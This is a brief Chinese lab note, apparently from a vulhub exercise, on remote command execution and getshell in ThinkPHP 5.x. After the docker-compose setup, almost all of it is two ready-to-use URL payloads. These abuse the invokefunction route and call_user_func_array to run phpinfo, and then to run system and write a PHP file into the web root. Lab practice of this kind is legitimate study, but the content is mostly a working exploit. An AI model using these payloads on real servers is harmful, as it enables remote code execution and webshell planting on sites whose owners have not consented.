Thinkphp5x远程命令执⾏及getshell
环境搭建
cd vulhub/thinkphp/5-rce
docker-compose up -d #启动环境
访问网址
漏洞利⽤
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=echo "<?php phpinfo();?>" >>1.php
根⽬录⽣成1.php ⽂件，输出phpinfo
另一种方法，直接工具操作
